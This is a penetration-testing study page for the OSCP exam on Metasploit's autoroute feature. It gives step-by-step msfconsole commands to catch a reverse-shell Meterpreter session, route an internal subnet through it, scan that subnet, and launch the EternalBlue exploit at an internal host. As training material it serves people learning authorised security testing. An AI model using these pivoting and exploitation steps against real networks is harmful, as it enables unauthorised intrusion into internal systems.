Domain 5Pivoting & MetasploitCORE

Metasploit Autoroute and Routing

Complete guide to Metasploit autoroute system for routing exploits through sessions to reach internal network targets in OSCP.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#autoroute#routing#pivoting#oscp

Metasploit Autoroute and Routing

Metasploit’s autoroute system allows you to route exploit traffic through an existing Meterpreter session to reach internal network targets. Unlike portfwd (which forwards specific ports), autoroute adds entire subnets to Metasploit’s routing table, enabling any Metasploit module to target internal hosts.

What Autoroute Does

When you add a subnet to autoroute, Metasploit knows how to reach that subnet through your Meterpreter session. This means:

  • Exploits can target internal hosts directly.
  • Auxiliary scanners can scan internal subnets.
  • Payloads can be delivered to internal targets.
graph LR
    subgraph "Attacker"
        A[msfconsole<br/>10.10.14.3]
    end
    subgraph "Target Network"
        B[Pivot<br/>10.10.10.5<br/>Meterpreter Session]
        C[Internal Target<br/>10.10.10.10]
    end
    A -->|autoroute adds 10.10.10.0/24| B
    A -->|Exploit routed through session| C

Key Commands

Command Description
ipconfig Show network interfaces (from Meterpreter)
run autoroute -s Show current autoroute table
run autoroute -a -s [subnet] -p [session] Add subnet to autoroute
run autoroute -d -s [subnet] -p [session] Delete subnet from autoroute
run autoroute -p Print the routing table
background Background current session (Ctrl+Z then bg)

Full Step-by-Step Workflow

Step 1: Get Meterpreter Session on Pivot

msfconsole

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit

# You now have a Meterpreter session on the pivot

Step 2: Check Available Routes

# From Meterpreter prompt
ipconfig

# Example output:
# TAP
# ===
# ...
#
# Ethernet adapter Ethernet
# =========================
# Connection-specific DNS Suffix  .: internal.corp
# IPv4 Address. . . . . . . . . . . : 10.10.10.5
# Subnet Mask . . . . . . . . . . . : 255.255.255.0
# ...

Note the internal subnet: 10.10.10.0/24

Step 3: Add Subnet to Autoroute

# Add the internal subnet through session 1
run autoroute -a -s 10.10.10.0/24 -p 1

# Output: [*] Route added

Step 4: Verify Routing Table

run autoroute -p

# Output:
# Active Routing Table
# ====================
#   Subnet             Netmask         Gateway
#   ------             -------         -------
#   10.10.10.0         255.255.255.0   Session 1

Step 5: Background the Session

# Background the Meterpreter session
background
# Or press Ctrl+Z then type bg

Step 6: Launch Exploit Against Internal Target

# Use an exploit targeting the internal host
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.10.10.10

# CRITICAL: Set LHOST to the pivot's internal IP, NOT your attacker IP
set LHOST 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4445
exploit

CRITICAL: Setting LHOST Correctly

This is the most common mistake with autoroute.

graph LR
    A[Attacker<br/>10.10.14.3] -->|Meterpreter| B[Pivot<br/>10.10.10.5]
    B -->|Exploit| C[Target<br/>10.10.10.10]
    C -. "Reverse shell back to"| LHOST 10.10.10.5 .-> B
    B -->|Through Meterpreter channel| A

Why LHOST Must Be the Pivot’s Internal IP

When you exploit an internal target through autoroute:

  1. The exploit is delivered from the pivot’s perspective (through the Meterpreter session).
  2. The target’s reverse shell needs to connect back to an IP it can reach.
  3. The target can reach the pivot’s internal IP (10.10.10.5) but NOT your attacker IP (10.10.14.3).
  4. The reverse shell connects to the pivot, which routes it back through the Meterpreter channel to you.
# CORRECT
set LHOST 10.10.10.5    # Pivot's internal IP

# WRONG - target cannot reach your attacker IP
set LHOST 10.10.14.3    # Your attacker IP

Auxiliary Scanner Through Route

You can scan internal networks through the autoroute:

# Port scan internal subnet
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,443,3306,3389,5985,8080
set THREADS 20
run

# SMB version scanner
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run

# HTTP title scanner
use auxiliary/scanner/http/title
set RHOSTS 10.10.10.0/24
set URIPATH /
run

Autoroute vs Portfwd

Feature Autoroute Portfwd
Scope Entire subnet Single port
MSF integration Native — any module works Limited to forwarded ports
LHOST setting Must set to pivot IP Access via localhost
SOCKS proxy No No
Best for Exploiting internal hosts Accessing specific services
Complexity Moderate Simple

Common Mistakes

Mistake Consequence Fix
Setting LHOST to attacker IP Reverse shell fails — target can’t reach attacker Set LHOST to pivot’s internal IP
Forgetting to add route Exploit fails with connection errors run autoroute -a -s subnet
Session dies during exploit All routing lost Use sessions -i to reconnect
Wrong subnet mask Route doesn’t match target Verify with ipconfig on pivot
Not backgrounding session Can’t launch new exploit Use background or Ctrl+Z

Troubleshooting

Problem Cause Solution
No route to host Subnet not added to autoroute run autoroute -a -s 10.10.10.0/24
Exploit fails, no session Wrong LHOST Set LHOST to pivot’s internal IP
Scanner returns nothing Wrong subnet or session dead Verify with run autoroute -p
Session X not found Session was killed Re-establish Meterpreter session
Slow scanning Too many threads Reduce THREADS setting

OSCP Exam Tips

  1. Always check ipconfig on the pivot first to identify the internal subnet.
  2. Set LHOST to the pivot’s internal IP — this is the #1 autoroute mistake.
  3. Use run autoroute -p to verify routes before launching exploits.
  4. Background the session before launching a new exploit module.
  5. Combine with portfwd — use autoroute for exploits and portfwd for specific services.
  6. Document the pivot IP — you’ll need it for every LHOST setting.

Further Reading